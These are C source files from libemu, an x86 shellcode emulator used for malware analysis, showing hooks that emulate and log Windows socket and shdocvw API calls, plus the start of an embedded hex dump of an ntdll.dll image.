#include "dlls/user32dll.c" #include "dlls/shell32dll.c" #include "dlls/wininetdll.c" #include "dlls/shdocvwdll.c" #include "dlls/ntdll.c" #include "dlls/shlwapidll.c" libemu-0.2.0+git20120122+564/src/environment/win32/env_w32_dll_export_shdocvw_hooks.c0000644000175300017530000000607011706767213026766 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007-2011 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #include #include #include #include #include #include "../../../config.h" #include "emu/emu.h" #include "emu/emu_log.h" #include "emu/emu_memory.h" #include "emu/emu_cpu.h" #include "emu/emu_cpu_data.h" #include "emu/emu_cpu_stack.h" #include "emu/emu_hashtable.h" #include "emu/emu_string.h" #include "emu/environment/emu_env.h" #include "emu/environment/emu_profile.h" #include "emu/environment/win32/emu_env_w32.h" #include "emu/environment/win32/emu_env_w32_dll.h" #include "emu/environment/win32/emu_env_w32_dll_export.h" #include "emu/environment/win32/env_w32_dll_export_urlmon_hooks.h" int32_t env_w32_hook_IEWinMain(struct emu_env *env, struct emu_env_hook *hook) { logDebug(env->emu, "Hook me Captain Cook!\n"); logDebug(env->emu, "%s:%i %s\n",__FILE__,__LINE__,__FUNCTION__); struct emu_cpu *c = emu_cpu_get(env->emu); uint32_t eip_save; POP_DWORD(c, &eip_save); /* IEWinMain(LPSTR pszCommandLine, int nShowWindow) */ uint32_t pszCommandLine; POP_DWORD(c, &pszCommandLine); uint32_t nShowWindow; POP_DWORD(c, &nShowWindow); struct emu_string *CommandLine = emu_string_new(); emu_memory_read_string(c->mem, pszCommandLine, CommandLine, 512); uint32_t returnvalue = 0; if ( hook->hook.win->userhook != NULL ) { returnvalue = hook->hook.win->userhook(env, hook, emu_string_char(CommandLine), nShowWindow); }else { returnvalue = 0; } if (env->profile != NULL) { emu_profile_function_add(env->profile, "IEWinMain"); emu_profile_argument_add_ptr(env->profile, "LPSTR", "pszCommandLine", pszCommandLine); emu_profile_argument_add_string(env->profile, "", "", emu_string_char(CommandLine)); emu_profile_argument_add_int(env->profile, "int", "nShowWindow", nShowWindow); emu_profile_function_returnvalue_int_set(env->profile, "HRESULT", returnvalue); } emu_cpu_reg32_set(c, eax, returnvalue); emu_string_free(CommandLine); emu_cpu_eip_set(c, eip_save); return 0; } libemu-0.2.0+git20120122+564/src/environment/win32/emu_env_w32_dll.c0000644000175300017530000000530111706767213023267 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #include #include #include "emu/emu.h" #include "emu/environment/emu_env.h" #include "emu/environment/win32/emu_env_w32_dll.h" #include "emu/environment/win32/emu_env_w32_dll_export.h" #include "emu/emu_hashtable.h" struct emu_env_w32_dll *emu_env_w32_dll_new(void) { struct emu_env_w32_dll *dll = (struct emu_env_w32_dll *)malloc(sizeof(struct emu_env_w32_dll)); memset(dll,0,sizeof(struct emu_env_w32_dll)); return dll; } void emu_env_w32_dll_free(struct emu_env_w32_dll *dll) { emu_hashtable_free(dll->exports_by_fnptr); emu_hashtable_free(dll->exports_by_fnname); free(dll->exportx); free(dll->hooks); free(dll->dllname); free(dll); } void emu_env_w32_dll_exports_copy(struct emu_env_w32_dll *to,struct emu_env_w32_dll_export *from) { uint32_t size; uint32_t i; for (i=0;from[i].fnname != 0; i++); size = i; to->exportx = malloc(sizeof(struct emu_env_w32_dll_export) * size); to->hooks = malloc(sizeof(struct emu_env_hook) * size); memcpy(to->exportx, from, sizeof(struct emu_env_w32_dll_export) * size); to->exports_by_fnptr = emu_hashtable_new(size, emu_hashtable_ptr_hash,emu_hashtable_ptr_cmp); to->exports_by_fnname = emu_hashtable_new(size, emu_hashtable_string_hash, emu_hashtable_string_cmp); for (i=0;from[i].fnname != 0; i++) { struct emu_env_w32_dll_export *ex = &to->exportx[i]; struct emu_env_hook *hook = &to->hooks[i]; hook->type = emu_env_type_win32; hook->hook.win = ex; emu_hashtable_insert(to->exports_by_fnptr, (void *)(uintptr_t)from[i].virtualaddr, hook); emu_hashtable_insert(to->exports_by_fnname, (void *)(uintptr_t)from[i].fnname, hook); } } libemu-0.2.0+git20120122+564/src/environment/win32/env_w32_dll_export_ws2_32_hooks.c0000644000175300017530000004123511706767213026332 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #include #include // for the socket hooks #include #include #include #include #include #include #include "../../../config.h" #include "emu/emu.h" #include "emu/emu_log.h" #include "emu/emu_memory.h" #include "emu/emu_cpu.h" #include "emu/emu_cpu_data.h" #include "emu/emu_cpu_stack.h" #include "emu/emu_hashtable.h" #include "emu/emu_string.h" #include "emu/environment/emu_env.h" #include "emu/environment/emu_profile.h" #include "emu/environment/win32/emu_env_w32.h" #include "emu/environment/win32/emu_env_w32_dll.h" #include "emu/environment/win32/emu_env_w32_dll_export.h" #include "emu/environment/win32/env_w32_dll_export_ws2_32_hooks.h" int32_t env_w32_hook_accept(struct emu_env *env, struct emu_env_hook *hook) { struct emu_cpu *c = emu_cpu_get(env->emu); uint32_t eip_save; POP_DWORD(c, &eip_save); /*SOCKET accept( SOCKET s, struct sockaddr* addr, int* addrlen );*/ uint32_t s; POP_DWORD(c, &s); uint32_t addr; POP_DWORD(c, &addr); uint32_t addrlen; POP_DWORD(c, &addrlen); logDebug(env->emu, "accept(s=%i, addr=%x, addrlen=%i);\n", s, addr, addrlen); uint32_t returnvalue; if ( hook->hook.win->userhook != NULL ) { struct sockaddr sa; returnvalue = hook->hook.win->userhook(env, hook, s, &sa, &addrlen); }else { returnvalue = 68; } emu_cpu_reg32_set(c, eax, returnvalue); if (env->profile != NULL) { emu_profile_function_add(env->profile, "accept"); emu_profile_argument_add_int(env->profile, "SOCKET", "s", s); emu_profile_argument_add_ptr(env->profile, "sockaddr *", "addr", addr); emu_profile_argument_struct_start(env->profile, "", ""); emu_profile_argument_struct_end(env->profile); emu_profile_argument_add_ptr(env->profile, "int", "addrlen", addrlen); emu_profile_argument_add_none(env->profile); emu_profile_function_returnvalue_int_set(env->profile, "SOCKET", returnvalue); } emu_cpu_eip_set(c, eip_save); return 0; } int32_t env_w32_hook_bind(struct emu_env *env, struct emu_env_hook *hook) { struct emu_cpu *c = emu_cpu_get(env->emu); uint32_t eip_save; POP_DWORD(c, &eip_save); /*int bind( SOCKET s, const struct sockaddr* name, int namelen ); */ uint32_t s; POP_DWORD(c, &s); uint32_t p_name; POP_DWORD(c, &p_name); struct sockaddr sa; emu_memory_read_block(emu_memory_get(env->emu), p_name, &sa, sizeof(struct sockaddr)); uint32_t namelen; POP_DWORD(c, &namelen); logDebug(env->emu, "bind(s=%i, name=%x, namelen=%i\n", s, p_name, namelen); uint32_t returnvalue; if ( hook->hook.win->userhook != NULL ) { returnvalue = hook->hook.win->userhook(env, hook, s, &sa, namelen); }else { returnvalue = 0; } emu_cpu_reg32_set(c, eax, returnvalue); if (env->profile != NULL) { emu_profile_function_add(env->profile, "bind"); emu_profile_argument_add_int(env->profile, "SOCKET", "s", s); emu_profile_argument_add_sockaddr_ptr(env->profile, "name", p_name, sa); emu_profile_argument_add_int(env->profile, "int", "namelen", namelen); emu_profile_function_returnvalue_int_set(env->profile, "int", returnvalue); } emu_cpu_eip_set(c, eip_save); return 0; } int32_t env_w32_hook_closesocket(struct emu_env *env, struct emu_env_hook *hook) { logDebug(env->emu, "Hook me Captain Cook!\n"); logDebug(env->emu, "%s:%i %s\n",__FILE__,__LINE__,__FUNCTION__); struct emu_cpu *c = emu_cpu_get(env->emu); uint32_t eip_save; POP_DWORD(c, &eip_save); /* int closesocket( SOCKET s ); */ uint32_t s; POP_DWORD(c, &s); uint32_t returnvalue; if ( hook->hook.win->userhook != NULL ) { returnvalue = hook->hook.win->userhook(env, hook, s); }else { returnvalue = 0; } emu_cpu_reg32_set(c, eax, returnvalue); if (env->profile != NULL) { emu_profile_function_add(env->profile, "closesocket"); emu_profile_argument_add_int(env->profile, "SOCKET", "s", s); emu_profile_function_returnvalue_int_set(env->profile, "int", returnvalue); } emu_cpu_eip_set(c, eip_save); return 0; } int32_t env_w32_hook_connect(struct emu_env *env, struct emu_env_hook *hook) { logDebug(env->emu, "Hook me Captain Cook!\n"); logDebug(env->emu, "%s:%i %s\n",__FILE__,__LINE__,__FUNCTION__); struct emu_cpu *c = emu_cpu_get(env->emu); uint32_t eip_save; POP_DWORD(c, &eip_save); /* int connect( SOCKET s, const struct sockaddr* name, int namelen ) */ uint32_t s; POP_DWORD(c, &s); uint32_t p_name; POP_DWORD(c, &p_name); struct sockaddr sa; emu_memory_read_block(emu_memory_get(env->emu), p_name, &sa, sizeof(struct sockaddr)); uint32_t namelen; POP_DWORD(c, &namelen); uint32_t returnvalue; if ( hook->hook.win->userhook != NULL ) { returnvalue = hook->hook.win->userhook(env, hook, s, &sa, namelen); }else { returnvalue = 0; } emu_cpu_reg32_set(c, eax, returnvalue); if (env->profile != NULL) { emu_profile_function_add(env->profile, "connect"); emu_profile_argument_add_int(env->profile, "SOCKET", "s", s); emu_profile_argument_add_sockaddr_ptr(env->profile, "name", p_name, sa); emu_profile_argument_add_int(env->profile, "int", "namelen", namelen); emu_profile_function_returnvalue_int_set(env->profile, "int", returnvalue); } emu_cpu_eip_set(c, eip_save); return 0; } int32_t env_w32_hook_listen(struct emu_env *env, struct emu_env_hook *hook) { logDebug(env->emu, "Hook me Captain Cook!\n"); logDebug(env->emu, "%s:%i %s\n",__FILE__,__LINE__,__FUNCTION__); struct emu_cpu *c = emu_cpu_get(env->emu); uint32_t eip_save; POP_DWORD(c, &eip_save); /*int listen( SOCKET s, int backlog ); */ uint32_t s; POP_DWORD(c, &s); uint32_t backlog; POP_DWORD(c, &backlog); logDebug(env->emu, "listen(s=%i, backlog=%i)\n", s, backlog); uint32_t returnvalue; if ( hook->hook.win->userhook != NULL ) { returnvalue = hook->hook.win->userhook(env, hook, s, backlog); }else { returnvalue = 0; } emu_cpu_reg32_set(c, eax, returnvalue); if (env->profile != NULL) { emu_profile_function_add(env->profile, "listen"); emu_profile_argument_add_int(env->profile, "SOCKET", "s", s); emu_profile_argument_add_int(env->profile, "int", "backlog", backlog); emu_profile_function_returnvalue_int_set(env->profile, "int", returnvalue); } emu_cpu_eip_set(c, eip_save); return 0; } #define emu_assert(emu, x) \ if (x) \ { \ printf("Insane value at %s:%i\n", __FILE__, __LINE__); \ } int32_t env_w32_hook_recv(struct emu_env *env, struct emu_env_hook *hook) { logDebug(env->emu, "Hook me Captain Cook!\n"); logDebug(env->emu, "%s:%i %s\n",__FILE__,__LINE__,__FUNCTION__); struct emu_cpu *c = emu_cpu_get(env->emu); uint32_t eip_save; POP_DWORD(c, &eip_save); /* int recv( SOCKET s, char* buf, int len, int flags ); */ uint32_t s; POP_DWORD(c, &s); uint32_t buf; POP_DWORD(c, &buf); uint32_t len; POP_DWORD(c, &len); uint32_t flags; POP_DWORD(c, &flags); uint32_t xlen = len; if (xlen < 0 || xlen > 4096) { printf("BUG\n"); xlen = 4096; } emu_assert(env->emu, xlen < 0 || xlen > 4096); char *buffer = (char *)malloc(xlen); memset(buffer, 0, xlen); uint32_t returnvalue; if ( hook->hook.win->userhook != NULL ) { returnvalue = hook->hook.win->userhook(env, hook, s, buffer, xlen, flags); }else { if (rand()%100 < 40) returnvalue = 0; else returnvalue = xlen; } emu_cpu_reg32_set(c, eax, returnvalue); logDebug(env->emu, "recv(%i, 0x%08x, %i) == %i \n", s, buf, xlen, (int32_t)len); if ((int32_t)returnvalue > 0) emu_memory_write_block(emu_memory_get(env->emu), buf, buffer, len); free(buffer); if (env->profile != NULL) { emu_profile_function_add(env->profile, "recv"); emu_profile_argument_add_int(env->profile, "SOCKET", "s", s); emu_profile_argument_add_ptr(env->profile, "char *", "buf", buf); emu_profile_argument_add_none(env->profile); emu_profile_argument_add_int(env->profile, "int", "len", len); emu_profile_argument_add_int(env->profile, "int", "flags", flags); emu_profile_function_returnvalue_int_set(env->profile, "int", returnvalue); } emu_cpu_eip_set(c, eip_save); return 0; } int32_t env_w32_hook_send(struct emu_env *env, struct emu_env_hook *hook) { logDebug(env->emu, "Hook me Captain Cook!\n"); logDebug(env->emu, "%s:%i %s\n",__FILE__,__LINE__,__FUNCTION__); struct emu_cpu *c = emu_cpu_get(env->emu); uint32_t eip_save; POP_DWORD(c, &eip_save); /* int send( SOCKET s, const char* buf, int len, int flags ); */ uint32_t s; POP_DWORD(c, &s); uint32_t p_buf; POP_DWORD(c, &p_buf); uint32_t len; POP_DWORD(c, &len); uint32_t flags; POP_DWORD(c, &flags); char *buffer = NULL; uint32_t returnvalue; if( len <= 64*1024 ) { buffer = (char *)malloc(len); logDebug(env->emu, "send(%i, 0x%08x, %i, %i)\n", s, p_buf, len, flags); emu_memory_read_block(emu_memory_get(env->emu), p_buf, buffer, len); if ( hook->hook.win->userhook != NULL ) { returnvalue = hook->hook.win->userhook(env, hook, s, buffer, len, flags); } else { returnvalue = len; } }else returnvalue = -1; emu_cpu_reg32_set(c, eax, returnvalue); if ( env->profile != NULL ) { emu_profile_function_add(env->profile, "send"); emu_profile_argument_add_int(env->profile, "SOCKET", "s", s); emu_profile_argument_add_ptr(env->profile, "const char *", "buf", p_buf); emu_profile_argument_add_bytea(env->profile, "", "", (void *)buffer, len); emu_profile_argument_add_int(env->profile, "int", "len", len); emu_profile_argument_add_int(env->profile, "int", "flags", flags); emu_profile_function_returnvalue_int_set(env->profile, "int", returnvalue); } emu_cpu_eip_set(c, eip_save); if( buffer != NULL ) free(buffer); return 0; } int32_t env_w32_hook_sendto(struct emu_env *env, struct emu_env_hook *hook) { logDebug(env->emu, "Hook me Captain Cook!\n"); logDebug(env->emu, "%s:%i %s\n",__FILE__,__LINE__,__FUNCTION__); struct emu_cpu *c = emu_cpu_get(env->emu); uint32_t eip_save; POP_DWORD(c, &eip_save); /* int sendto( SOCKET s, const char* buf, int len, int flags, const struct sockaddr* to, int tolen ); */ uint32_t s; POP_DWORD(c, &s); uint32_t p_buf; POP_DWORD(c, &p_buf); // uint32_t len; POP_DWORD(c, &len); uint32_t flags; POP_DWORD(c, &flags); uint32_t p_to; POP_DWORD(c, &p_to); uint32_t tolen; POP_DWORD(c, &tolen); char *buffer = NULL; struct sockaddr sa; uint32_t returnvalue; if( len <= 64*1024 ) { buffer = (char *)malloc(len); emu_memory_read_block(emu_memory_get(env->emu), p_buf, buffer, len); emu_memory_read_block(emu_memory_get(env->emu), p_to, &sa, sizeof(struct sockaddr)); if( hook->hook.win->userhook != NULL ) { returnvalue = hook->hook.win->userhook(env, hook, s, buffer, len, &sa, tolen); } else { returnvalue = len; } } else returnvalue = -1; emu_cpu_reg32_set(c, eax, returnvalue); if (env->profile != NULL) { emu_profile_function_add(env->profile, "sendto"); emu_profile_argument_add_int(env->profile, "SOCKET", "s", s); emu_profile_argument_add_ptr(env->profile, "const char *", "buf", p_buf); emu_profile_argument_add_none(env->profile); emu_profile_argument_add_int(env->profile, "int", "len", len); emu_profile_argument_add_int(env->profile, "int", "flags", flags); emu_profile_argument_add_sockaddr_ptr(env->profile, "name", p_to, sa); emu_profile_argument_add_int(env->profile, "int", "tolen", tolen); emu_profile_function_returnvalue_int_set(env->profile, "int", returnvalue); } if( buffer != NULL ) free(buffer); logDebug(env->emu, "eip_save is %08x\n", eip_save); emu_cpu_eip_set(c, eip_save); return 0; } int32_t env_w32_hook_socket(struct emu_env *env, struct emu_env_hook *hook) { logDebug(env->emu, "Hook me Captain Cook!\n"); logDebug(env->emu, "%s:%i %s\n",__FILE__,__LINE__,__FUNCTION__); struct emu_cpu *c = emu_cpu_get(env->emu); uint32_t eip_save; POP_DWORD(c, &eip_save); /* SOCKET WSAAPI socket( int af, int type, int protocol ); */ uint32_t af; POP_DWORD(c, &af); uint32_t type; POP_DWORD(c, &type); uint32_t protocol; POP_DWORD(c, &protocol); uint32_t returnvalue; if ( hook->hook.win->userhook != NULL ) { returnvalue = hook->hook.win->userhook(env, hook, af, type, protocol); }else { returnvalue = 65; } emu_cpu_reg32_set(c, eax, returnvalue); if (env->profile != NULL) { emu_profile_function_add(env->profile, "socket"); emu_profile_argument_add_int(env->profile, "int", "af", af); emu_profile_argument_add_int(env->profile, "int", "type", type); emu_profile_argument_add_int(env->profile, "int", "protocol", protocol); emu_profile_function_returnvalue_int_set(env->profile, "SOCKET", returnvalue); } emu_cpu_eip_set(c, eip_save); return 0; } int32_t env_w32_hook_WSASocketA(struct emu_env *env, struct emu_env_hook *hook) { logDebug(env->emu, "Hook me Captain Cook!\n"); logDebug(env->emu, "%s:%i %s\n",__FILE__,__LINE__,__FUNCTION__); struct emu_cpu *c = emu_cpu_get(env->emu); uint32_t eip_save; POP_DWORD(c, &eip_save); /* SOCKET WSASocket( int af, int type, int protocol, LPWSAPROTOCOL_INFO lpProtocolInfo, GROUP g, DWORD dwFlags ); */ uint32_t af; POP_DWORD(c, &af); uint32_t type; POP_DWORD(c, &type); uint32_t protocol; POP_DWORD(c, &protocol); uint32_t protocolinfo; POP_DWORD(c, &protocolinfo); uint32_t group; POP_DWORD(c, &group); uint32_t flags; POP_DWORD(c, &flags); logDebug(env->emu, "SOCKET WSASocket(af=%i, type=%i, protocol=%i, lpProtocolInfo=%x, group=%i, dwFlags=%i);\n", af, type, protocol, protocolinfo, group, flags); uint32_t returnvalue; if ( hook->hook.win->userhook != NULL ) { returnvalue = hook->hook.win->userhook(env, hook, af, type, protocol, NULL, NULL, NULL); }else { returnvalue = 66; } emu_cpu_reg32_set(c, eax, returnvalue); if (env->profile != NULL) { emu_profile_function_add(env->profile, "WSASocket"); emu_profile_argument_add_int(env->profile, "int", "af", af); emu_profile_argument_add_int(env->profile, "int", "type", type); emu_profile_argument_add_int(env->profile, "int", "protocol", protocol); emu_profile_argument_add_int(env->profile, "LPWSAPROTOCOL_INFO", "lpProtocolInfo", protocolinfo); emu_profile_argument_add_int(env->profile, "GROUP", "g", group); emu_profile_argument_add_int(env->profile, "DWORD", "dwFlags", flags); emu_profile_function_returnvalue_int_set(env->profile, "SOCKET", returnvalue); } emu_cpu_eip_set(c, eip_save); return 0; } int32_t env_w32_hook_WSAStartup(struct emu_env *env, struct emu_env_hook *hook) { logDebug(env->emu, "Hook me Captain Cook!\n"); logDebug(env->emu, "%s:%i %s\n",__FILE__,__LINE__,__FUNCTION__); struct emu_cpu *c = emu_cpu_get(env->emu); uint32_t eip_save; POP_DWORD(c, &eip_save); /* int WSAStartup( WORD wVersionRequested, LPWSADATA lpWSAData ); */ uint32_t wsaversionreq; POP_DWORD(c, &wsaversionreq); logDebug(env->emu, "WSAStartup version %x\n", wsaversionreq); uint32_t wsadata; POP_DWORD(c, &wsadata); if (env->profile != NULL) { emu_profile_function_add(env->profile, "WSAStartup"); emu_profile_argument_add_int(env->profile, "WORD", "wVersionRequested", wsaversionreq); emu_profile_argument_add_int(env->profile, "LPWSADATA", "lpWSAData", wsadata); emu_profile_function_returnvalue_int_set(env->profile, "int", 0); } emu_cpu_reg32_set(c, eax, 0x0); emu_cpu_eip_set(c, eip_save); return 0; } libemu-0.2.0+git20120122+564/src/environment/win32/dlls/0000755000175300017530000000000011706767213021076 5ustar dt-npbdt-npblibemu-0.2.0+git20120122+564/src/environment/win32/dlls/ntdll.c0000644000175300017530000077533611706767213022404 0ustar dt-npbdt-npbconst char ntdll_7C900000[] = /* 000000 */ "\x4D\x5A\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xFF\xFF\x00\x00" //MZ..........ÿÿ.. /* 000020 */ "\xB8\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00" //........@....... /* 000040 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" //................ /* 000060 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xD0\x00\x00\x00" //............Ð... /* 000080 */ "\x0E\x1F\xBA\x0E\x00\xB4\x09\xCD\x21\xB8\x01\x4C\xCD\x21\x54\x68" //.......Í!..LÍ!Th /* 0000A0 */ "\x69\x73\x20\x70\x72\x6F\x67\x72\x61\x6D\x20\x63\x61\x6E\x6E\x6F" //is.program.canno /* 0000C0 */ "\x74\x20\x62\x65\x20\x72\x75\x6E\x20\x69\x6E\x20\x44\x4F\x53\x20" //t.be.run.in.DOS. /* 0000E0 */ "\x6D\x6F\x64\x65\x2E\x0D\x0D\x0A\x24\x00\x00\x00\x00\x00\x00\x00" //mode....$....... /* 000100 */ "\x0D\x52\xC0\x58\x49\x33\xAE\x0B\x49\x33\xAE\x0B\x49\x33\xAE\x0B" //.RÀXI3..I3..I3.. /* 000120 */ "\x8A\x3C\xF2\x0B\x48\x33\xAE\x0B\x8A\x3C\xF0\x0B\x48\x33\xAE\x0B" //.<ò.H3...<ð.H3.. /* 000140 */ "\x8A\x3C\xA1\x0B\x08\x33\xAE\x0B\x8A\x3C\xCE\x0B\x4A\x33\xAE\x0B" //.<...3...<Î.J3.. /* 000160 */ "\x8A\x3C\xF1\x0B\x9A\x33\xAE\x0B\x8A\x3C\xF4\x0B\x48\x33\xAE\x0B" //.<ñ..3...<ô.H3.. /* 000180 */ "\x52\x69\x63\x68\x49\x33\xAE\x0B\x00\x00\x00\x00\x00\x00\x00\x00" //RichI3.......... /* 0001A0 */ "\x50\x45\x00\x00\x4C\x01\x04\x00\x48\x1D\x90\x49\x5B\x4C\x6F\x72" //PE..L...H..I[Lor /* 0001C0 */ "\x64\x50\x45\x5D\xE0\x00\x0E\x21\x0B\x01\x07\x0A\x00\xC2\x07\x00" //dPE]à..!.....Â.. /* 0001E0 */ "\x00\x3A\x03\x00\x00\x00\x00\x00\x48\x2C\x01\x00\x00\x10\x00\x00" //.:......H,...... /* 000200 */ "\x00\x80\x07\x00\x00\x00\x90\x7C\x00\x10\x00\x00\x00\x10\x00\x00" //.......|........ /* 000220 */ "\x05\x00\x01\x00\x05\x00\x01\x00\x04\x00\x0A\x00\x00\x00\x00\x00" //................ /* 000240 */ "\x00\x20\x0B\x00\x00\x10\x00\x00\x74\xC6\x0B\x00\x03\x00\x00\x00" //........tÆ...... /* 000260 */ "\x00\x00\x04\x00\x00\x10\x00\x00\x00\x00\x10\x00\x00\x10\x00\x00" //................ /* 000280 */ "\x00\x00\x00\x00\x10\x00\x00\x00\x00\x34\x00\x00\x5E\x9A\x00\x00" //.........4..^... /* 0002A0 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x30\x08\x00\x78\xBE\x02\x00" //.........0..x... /* 0002C0 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" //................ /* 0002E0 */ "\x00\xF0\x0A\x00\xB8\x2E\x00\x00\x84\xD1\x07\x00\x38\x00\x00\x00" //.ð.......Ñ..8... /* 000300 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" //................ /* 000320 */ "\x00\x00\x00\x00\x00\x00\x00\x00\xA0\x11\x05\x00\x40\x00\x00\x00" //............@... /* 000340 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" //................ /* 000360 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" //................ /* 000380 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x2E\x74\x65\x78\x74\x00\x00\x00" //.........text... /* 0003A0 */ "\xE2\xC1\x07\x00\x00\x10\x00\x00\xE2\xC1\x07\x00\x00\x10\x00\x00" //âÁ......âÁ...... /* 0003C0 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x60" //...............` /* 0003E0 */ "\x2E\x64\x61\x74\x61\x00\x00\x00\x00\x4A\x00\x00\x00\xE0\x07\x00" //.data....J...à.. /* 000400 */ "\x00\x4A\x00\x00\x00\xE0\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00" //.J...à.......... /* 000420 */ "\x00\x00\x00\x00\x40\x00\x00\xC0\x2E\x72\x73\x72\x63\x00\x00\x00" //....@..À.rsrc... /* 000440 */ "\x78\xBE\x02\x00\x00\x30\x08\x00\x78\xBE\x02\x00\x00\x30\x08\x00" //x....0..x....0.. /* 000460 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x40" //............@..@ /* 000480 */ "\x2E\x72\x65\x6C\x6F\x63\x00\x00\xB8\x2E\x00\x00\x00\xF0\x0A\x00" //.reloc.......ð.. /* 0004A0 */ "\xB8\x2E\x00\x00\x00\xF0\x0A\x00\x00\x00\x00\x00\x00\x00\x00\x00" //.....ð.......... /* 0004C0 */ "\x00\x00\x00\x00\x40\x00\x00\x42\x00\x00\x00\x00\x00\x00\x00\x00" //....@..B........ /* 0004E0 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" //................ /* 000500 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" //................ ; const char ntdll_7c903400[] = /* 000000 */ "\x00\x00\x00\x00\xA2\x18\x8C\x49\x00\x00\x00\x00\x90\x67\x00\x00" //.......I.....g.. /* 000020 */ "\x01\x00\x00\x00\x24\x05\x00\x00\x24\x05\x00\x00\x28\x34\x00\x00" //....$...$...(4.. /* 000040 */ "\xB8\x48\x00\x00\x48\x5D\x00\x00\x2B\x9D\x05\x00\x93\x9C\x05\x00" //.H..H]..+....... /* 000060 */ "\xF5\x9B\x05\x00\xD0\x2A\x00\x00\x30\x2B\x00\x00\x40\x2B\x00\x00" //õ...Ð*..0+..@+.. /* 000080 */ "\x20\x2B\x00\x00\x78\xEB\x01\x00\xD9\xEB\x01\x00\xCF\xE3\x01\x00" //.+..xë..Ùë..Ïã.. /* 0000A0 */ "\x4D\x06\x02\x00\x0E\x07\x02\x00\x6A\x1C\x05\x00\x91\x2D\x01\x00" //M.......j....-.. /* 0000C0 */ "\x07\x12\x02\x00\x1F\xEB\x01\x00\x5F\x1C\x05\x00\xDA\x1B\x05\x00" //.....ë.._...Ú... /* 0000E0 */ "\xAA\xB0\x01\x00\xEB\x1C\x05\x00\x9D\x1C\x05\x00\x16\x1C\x05\x00" //....ë........... /* 000100 */ "\x0E\x12\x00\x00\x6F\xFB\x02\x00\xF5\xEA\x01\x00\xB2\x9E\x05\x00" //....oû..õê...... /* 000120 */ "\xA1\x9F\x05\x00\xE7\x9F\x05\x00\xF7\x9F\x05\x00\x21\x1D\x05\x00" //....ç...÷...!... /* 000140 */ "\xCC\x1D\x05\x00\xF4\x1E\x05\x00\xB2\x1E\x05\x00\x76\x1D\x05\x00" //Ì...ô.......v... /* 000160 */ "\x71\x1E\x05\x00\x13\x1E\x05\x00\x88\x1D\x05\x00\xF1\x1D\x05\x00" //q...........ñ... /* 000180 */ "\xA5\x1D\x05\x00\x12\x12\x00\x00\x10\xE5\x00\x00\x14\xE5\x00\x00" //.........å...å.. /* 0001A0 */ "\x20\xE5\x00\x00\xC8\xE4\x00\x00\x50\xE4\x00\x00\x60\xE4\x00\x00" //.å..Èä..Pä..`ä.. /* 0001C0 */ "\x7C\xE4\x00\x00\xB8\x09\x02\x00\xA8\x27\x01\x00\x05\xCB\x02\x00" //|ä.......'...Ë.. /* 0001E0 */ "\x8F\x88\x04\x00\xC3\x01\x02\x00\xDD\x02\x02\x00\xFB\xD6\x01\x00" //....Ã...Ý...ûÖ.. /* 000200 */ "\x10\xA1\x05\x00\x05\x14\x02\x00\x25\xFE\x01\x00\x7B\xA0\x05\x00" //........%þ..{... /* 000220 */ "\x6D\xC2\x01\x00\x3E\xAE\x05\x00\x87\x27\x01\x00\x52\xED\x02\x00" //mÂ..>....'..Rí.. /* 000240 */ "\xA0\x66\x01\x00\xC1\x66\x01\x00\xA8\x7E\x01\x00\xDE\x21\x05\x00" //.f..Áf...~..Þ!.. /* 000260 */ "\xC2\x2C\x05\x00\x66\x11\x00\x00\x08\x28\x01\x00\xC3\x63\x01\x00" 